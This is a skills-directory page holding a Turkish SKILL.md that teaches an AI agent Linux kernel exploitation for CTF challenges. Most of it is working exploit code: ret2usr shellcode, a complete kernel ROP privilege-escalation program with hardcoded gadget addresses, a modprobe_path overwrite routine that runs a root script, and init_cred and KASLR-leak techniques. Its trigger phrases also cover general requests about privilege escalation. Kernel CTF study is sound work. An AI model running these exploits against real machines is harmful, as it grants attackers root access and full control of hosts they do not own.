Skip to content
Back to skills

Kernel Pwn Basics

ASecurity

Linux kernel pwn temelleri — char device exploitation, ret2usr, KPTI/SMEP/SMAP bypass, modprobe_path overwrite, privesc primitives

  • 4 stars
  • 0 votes
  • 0 copies
  • 3 views
  • Added September 8, 2026
securitypythongoshellbashdebugginggit

Works with

  • terminal
  • mcp

Security analysis

A100/100

Scanned September 8, 2026

npx -y skills add MustafaKemal0146/fetih --skill kernel-pwn-basics --agent claude-code

Installs into .claude/skills of the current project.

Are you the author of Kernel Pwn Basics?

Add the live security badge to your README. It updates with every re-scan.

Security grade badge for Kernel Pwn Basics
[![Security: A — Skills Directory](https://www.skillsdirectory.com/api/skills/mustafakemal0146-kernel-pwn-basics/badge)](https://www.skillsdirectory.com/skills/mustafakemal0146-kernel-pwn-basics)

More formats (shields.io, HTML) on the badges page. Keep it an A: scan every change in CI with Pro.

Download with Pro
SKILL.md
---
name: kernel-pwn-basics
description: Linux kernel pwn temelleri — char device exploitation, ret2usr, KPTI/SMEP/SMAP bypass, modprobe_path overwrite, privesc primitives
tags: [ctf, pwn, kernel, lkm, char-device, ret2usr, kpti, smep, smap, kaslr, privesc, ioctl, qemu]
triggers:
  - "kernel module"
  - "kernel pwn"
  - "lkm"
  - ".ko file"
  - "char device"
  - "/dev/vuln"
  - "ioctl"
  - "qemu kernel"
  - "bzImage"
  - "rootfs.cpio"
  - "privilege escalation"
  - "LPE"
  - "kASLR"
  - "SMEP"
  - "SMAP"
  - "KPTI"
  - "modprobe_path"
  - "init_cred"
  - "commit_creds"
difficulty: hard
category: pwn
solved_challenges:
  - "TokyoWesterns CTF 2019 - gnote (kernel UAF)"
  - "RealWorldCTF 2022 - vad (kernel heap)"
  - "DiceCTF 2023 - babyrop_2 (kernel basics)"
  - "Hxp 2020 - kernel-rop (KROP)"
related_skills:
  - buffer-overflow-rop
  - ret2libc
  - heap-exploit
  - srop-attack
adapted_for: fetih
---

# Linux Kernel Pwn — Temeller ve LPE Yolu

Kernel pwn = ring 0'a çıkmak. Genelde QEMU + custom kernel + custom LKM (Loadable Kernel Module) verilir. Hedef: `root` shell veya `flag` okuma (root-only).

---

## Ne Zaman Kullan

Challenge dizininde:
- `bzImage` (kernel image)
- `rootfs.cpio` veya `initramfs.cpio.gz`
- `run.sh` (qemu komutu)
- `*.ko` (kernel module — zafiyetin burada)
- Bazen `vmlinux` (kernel symbols için)

---

## Kurulum & Ortam

```bash
# Challenge'ı çıkar
mkdir work && cd work
zcat rootfs.cpio.gz | cpio -idmv
# veya
cpio -idmv < rootfs.cpio

# .ko dosyasını bul
find . -name "*.ko"

# QEMU komutunu incele
cat run.sh
# Tipik:
# qemu-system-x86_64 \
#   -m 64M \
#   -kernel bzImage \
#   -initrd rootfs.cpio \
#   -append "console=ttyS0 quiet" \
#   -nographic \
#   -monitor /dev/null \
#   -cpu kvm64,+smep,+smap   # proteksiyonlar burada görülür

# Local'de qemu başlat (debug için)
./run.sh
```

### Kernel Symbols (vmlinux)
```bash
# vmlinux yoksa bzImage'dan extract et
extract-vmlinux bzImage > vmlinux

# Sembolleri kontrol et
nm vmlinux | grep commit_creds
nm vmlinux | grep prepare_kernel_cred
nm vmlinux | grep modprobe_path
```

### Modül Yükleme
```bash
# QEMU içinde
insmod vuln.ko
ls -la /dev/vuln    # char device olarak görünmeli
```

---

## Mitigation Tespit

`/proc/cpuinfo` ve `dmesg`:
```bash
# QEMU içinde
cat /proc/cpuinfo | grep -E '(smep|smap|kpti)'
dmesg | grep -i "isolation\|smep\|smap"
cat /proc/cmdline   # kaslr, nokaslr, pti, nopti, vsyscall
```

### Proteksiyon Matrisi (Kernel)

| Proteksiyon | Tespit | Etkisi | Bypass |
|---|---|---|---|
| **kASLR** | `/proc/kallsyms` rastgele veya cmdline `kaslr` | Kernel base rastgele | leak (timing, /proc, side channel) |
| **SMEP** | `/proc/cpuinfo \| grep smep` | Kernel kullanıcı sayfasında kod çalıştıramaz | KROP (kernel ROP) |
| **SMAP** | `/proc/cpuinfo \| grep smap` | Kernel kullanıcı sayfasından okuyamaz | stac/clac gadget, copy_from_user |
| **KPTI** | `dmesg \| grep PTI` | Kernel/user page tables ayrı | tek başına engel değil |
| **KASLR + KPTI** | Beraber | Klasik ret2usr engellenir | İhtiyaç: tam KROP |
| **kCFI** | Modern kernels | Kernel control flow integrity | Engellenir, tipinde gadget |

---

## Saldırı 1 — Ret2usr (En Eski, KPTI/SMEP Yoksa)

**Koşul:** SMEP YOK (eski kernel veya qemu komutunda `+smep` yok).

```c
// Privesc shellcode (kullanıcı uzayında)
void privesc() {
    // commit_creds(prepare_kernel_cred(0))
    asm volatile (
        "movabs $0xffffffff81080a30, %rax\n"  // prepare_kernel_cred
        "xor %rdi, %rdi\n"
        "call *%rax\n"
        "movabs $0xffffffff81080800, %rcx\n"  // commit_creds
        "mov %rax, %rdi\n"
        "call *%rcx\n"
    );
}

void privesc_kernel_to_user() {
    // KPTI yoksa userland'a dön
    asm volatile (
        "swapgs\n"
        "mov $user_data_seg, %ax\n"     // ds
        "mov %ax, %ds\n"
        "mov %ax, %es\n"
        "mov %ax, %fs\n"
        "mov %ax, %gs\n"
        "pushq $0x2b\n"                 // user SS
        "pushq $user_rsp\n"
        "pushq $0x202\n"                // RFLAGS
        "pushq $0x33\n"                 // user CS
        "pushq $shell_addr\n"
        "iretq\n"
    );
}
```

```c
// Exploit
int fd = open("/dev/vuln", O_RDWR);

// Overflow vuln ioctl yapısını → return address üzerine yaz
char payload[256];
*(uint64_t*)(payload + offset) = (uint64_t)privesc;

ioctl(fd, EVIL_CMD, payload);

// Şimdi root olduk, shell aç
system("/bin/sh");
```

---

## Saldırı 2 — KROP (Kernel ROP, SMEP Var)

**Koşul:** SMEP var, KPTI olabilir/olmayabilir.

```python
# 1. vmlinux'tan gadget çıkar
ropper --file vmlinux --search "pop rdi; ret"
ROPgadget --binary vmlinux | grep "pop rdi"

# 2. Klasik zincir
# - pop_rdi_ret
# - 0 (prepare_kernel_cred argümanı)
# - prepare_kernel_cred
# - mov_rdi_rax_ret veya pop_rsi_ret + mov_rdi_rax
# - commit_creds
# - swapgs_restore_regs_and_return_to_usermode (KPTI uyumlu)
# - 0, 0 (RBP, RBX dummy)
# - user_shell_addr
# - user_cs (0x33)
# - user_rflags (0x202)
# - user_rsp
# - user_ss (0x2b)
```

```c
// kernel_rop_exploit.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>
#include <sys/ioctl.h>

unsigned long user_cs, user_ss, user_rsp, user_rflags;

void save_state() {
    asm volatile (
        "movq %%cs, %0\n"
        "movq %%ss, %1\n"
        "movq %%rsp, %2\n"
        "pushfq\n"
        "popq %3\n"
        : "=r"(user_cs), "=r"(user_ss), "=r"(user_rsp), "=r"(user_rflags)
        :: "memory"
    );
}

void shell() {
    system("/bin/sh");
}

int main() {
    save_state();

    // KASLR yoksa sabit adresler:
    unsigned long pop_rdi_ret = 0xffffffff810f3c83;
    unsigned long prepare_kernel_cred = 0xffffffff8108e530;
    unsigned long commit_creds = 0xffffffff8108e190;
    unsigned long mov_rdi_rax_ret = 0xffffffff81012345;  // örnek
    unsigned long swapgs_restore = 0xffffffff81e00ff0;   // örnek

    unsigned long rop[64];
    int i = 0;

    rop[i++] = pop_rdi_ret;
    rop[i++] = 0;                          // prepare_kernel_cred(0)
    rop[i++] = prepare_kernel_cred;
    rop[i++] = mov_rdi_rax_ret;            // rdi = result
    rop[i++] = commit_creds;               // commit_creds(rdi)

    // Kullanıcı uzayına geri dön (KPTI uyumlu)
    rop[i++] = swapgs_restore;
    rop[i++] = 0;                          // rbp dummy
    rop[i++] = 0;                          // rbx dummy
    rop[i++] = (unsigned long)shell;
    rop[i++] = user_cs;
    rop[i++] = user_rflags;
    rop[i++] = user_rsp;
    rop[i++] = user_ss;

    int fd = open("/dev/vuln", O_RDWR);

    // Overflow buffer
    char payload[256 + sizeof(rop)];
    memset(payload, 'A', 256);
    memcpy(payload + 256, rop, sizeof(rop));

    write(fd, payload, sizeof(payload));
    return 0;
}
```

---

## Saldırı 3 — modprobe_path Overwrite

**En kolay LPE:** Arbitrary write primitive varsa, `modprobe_path` global değişkenini değiştir. Sistem bilinmeyen executable çağrıldığında bu path'i kullanır.

```c
// 1. Arbitrary write ile modprobe_path = "/tmp/x" yap
// 2. /tmp/x içine "#!/bin/sh\nchmod +s /bin/sh" yaz, chmod +x
// 3. Tanınmayan magic byte'lı dosyayı çalıştırmaya çalış
//    → kernel modprobe çağırır → /tmp/x root olarak çalışır

void modprobe_exploit() {
    // Arbitrary write primitive ile:
    unsigned long modprobe_path = 0xffffffff82a59e60;  // nm vmlinux | grep modprobe_path
    char *new_path = "/tmp/x\x00";
    arbitrary_write(modprobe_path, new_path, 8);

    // /tmp/x oluştur
    system("echo -e '#!/bin/sh\nchmod 777 /flag' > /tmp/x");
    system("chmod +x /tmp/x");

    // Tetikle: invalid magic byte dosyası çalıştır
    system("echo -e '\xff\xff\xff\xff' > /tmp/dummy");
    system("chmod +x /tmp/dummy");
    system("/tmp/dummy");

    // Flag artık erişilebilir
    system("cat /flag");
}
```

---

## Saldırı 4 — init_cred Direct Write

`init_cred` struct'ı kernel'de sabit adreste. Arbitrary write ile mevcut process'in `cred` pointer'ını `init_cred` ile değiştir.

```python
# 1. nm vmlinux | grep init_cred → init_cred adresi
# 2. mevcut process'in task_struct'ında cred field offset'i (~0x4c0)
# 3. task_struct adresini bul (find_task_by_vpid veya leak)
# 4. task->cred = init_cred (arbitrary write)
```

---

## kASLR Bypass

```bash
# /proc/kallsyms - root değilse "0x000..." gösterir
cat /proc/kallsyms | head

# Side channel - timing
# Kernel modülünde format string varsa leak

# /proc/modules
cat /proc/modules    # modül base address sızar (capability bağımlı)

# dmesg
dmesg | grep -i "kaslr\|0xffffffff"
```

```c
// Kernel modülünden leak (modulün kendinde leak primitive varsa)
read(fd, leak_buf, 0x100);
unsigned long kernel_base = *(unsigned long*)leak_buf - KNOWN_OFFSET;
```

---

## GDB Kernel Debugging

```bash
# qemu komutuna -s -S ekle (port 1234)
qemu-system-x86_64 ... -s -S

# Ayrı terminal
gdb vmlinux
(gdb) target remote :1234
(gdb) hbreak commit_creds
(gdb) continue
```

---

## Tipik Char Device Zafiyetleri

### Stack BOF
```c
// .ko içinde:
char buf[64];
copy_from_user(buf, user_ptr, user_size);  // user_size unchecked
```

### UAF
```c
ioctl(fd, ALLOC, &handle);
ioctl(fd, FREE, handle);
// handle hala valid, kfree edildi
ioctl(fd, USE, handle);  // UAF
```

### Heap Overflow
```c
// kmalloc(0x40), 0x80 byte yaz
```

### Race Condition (TOCTOU)
```c
// kernel: copy_from_user(&len, user_len, sizeof(len));
//         if (len > MAX) return -EINVAL;
//         copy_from_user(buf, user_buf, len);  // len yeniden okunur, race
```

---

## Tuzaklar

1. **`commit_creds(0)` çalışmaz** — `prepare_kernel_cred(0)` ile new cred oluştur, sonra `commit_creds(new_cred)`.
2. **iretq vs swapgs_restore** — KPTI varsa `swapgs_restore_regs_and_return_to_usermode` gerekir (KAISER); KPTI yoksa direct iretq.
3. **User state korunmalı** — `cs, ss, rflags, rsp` privesc öncesi kaydet, dönüşte aynısını koy.
4. **SMAP varken** copy_from_user kullan, doğrudan user pointer dereference yapma. `stac` gadget'ı arar veya `__copy_from_user_inatomic`'i çağırırsın.
5. **kASLR adresleri** rastgele — sabit adresler hayal kırıklığı. Önce leak primitive arar/yaratırsın.
6. **`/proc/kallsyms` 0x000** — `kptr_restrict` aktif. root için açık ama LPE öncesi root değiliz.
7. **bzImage extract** failed olabilir — `extract-vmlinux` script yoksa `vmlinux-to-elf` veya manuel `dd` ile çıkar.

---

## Pratik Workflow

```
1. Challenge'ı incele: bzImage, rootfs.cpio, *.ko, run.sh
2. rootfs çıkar, /init scriptini oku (modül yüklendi mi?)
3. .ko dosyasını Ghidra/IDA'da aç → zafiyet ara
4. Zafiyet türünü tespit (BOF, UAF, OOB, race)
5. Mitigation kontrol et (qemu komutu + cpuinfo)
6. Exploit primitives kur (leak, write, free)
7. Privesc tekniğini seç (ret2usr / KROP / modprobe / cred)
8. Tam exploit yaz
9. Local'de qemu içinde test et
10. Remote'a uyarla
```

---

## Cross-Skill Pivot

```
Kernel challenge → mitigation tespit
                ├── SMEP/KPTI yok → ret2usr
                ├── SMEP var → KROP
                ├── arbitrary write var → modprobe_path / init_cred
                ├── userland exploit primitives → buffer-overflow-rop skill
                └── seccomp filter → seccomp-sandbox-escape skill
```

---

## Ek Kaynaklar

- LKMidaa kernel pwn serisi: https://lkmidas.github.io/
- pawnyable.cafe kernel pwn: https://pawnyable.cafe/
- ctf-wiki kernel pwn: https://ctf-wiki.org/en/pwn/linux/kernel-mode/
- "A Bug Hunter's Diary" (Linux kernel bölümleri)

<!--
  ⚔ Bu skill FETIH AI Agent icin gelistirilmistir — https://github.com/MustafaKemal0146/fetih
  Yetkisiz kullanim/kopyalama tespit edilebilir.
  hash: ce5526ea7d360e29
-->

Attribution

Is this your skill, or is something wrong with this listing? Request removal or report an issue. Author removals are honored within 72 hours.

Comments

Loading comments…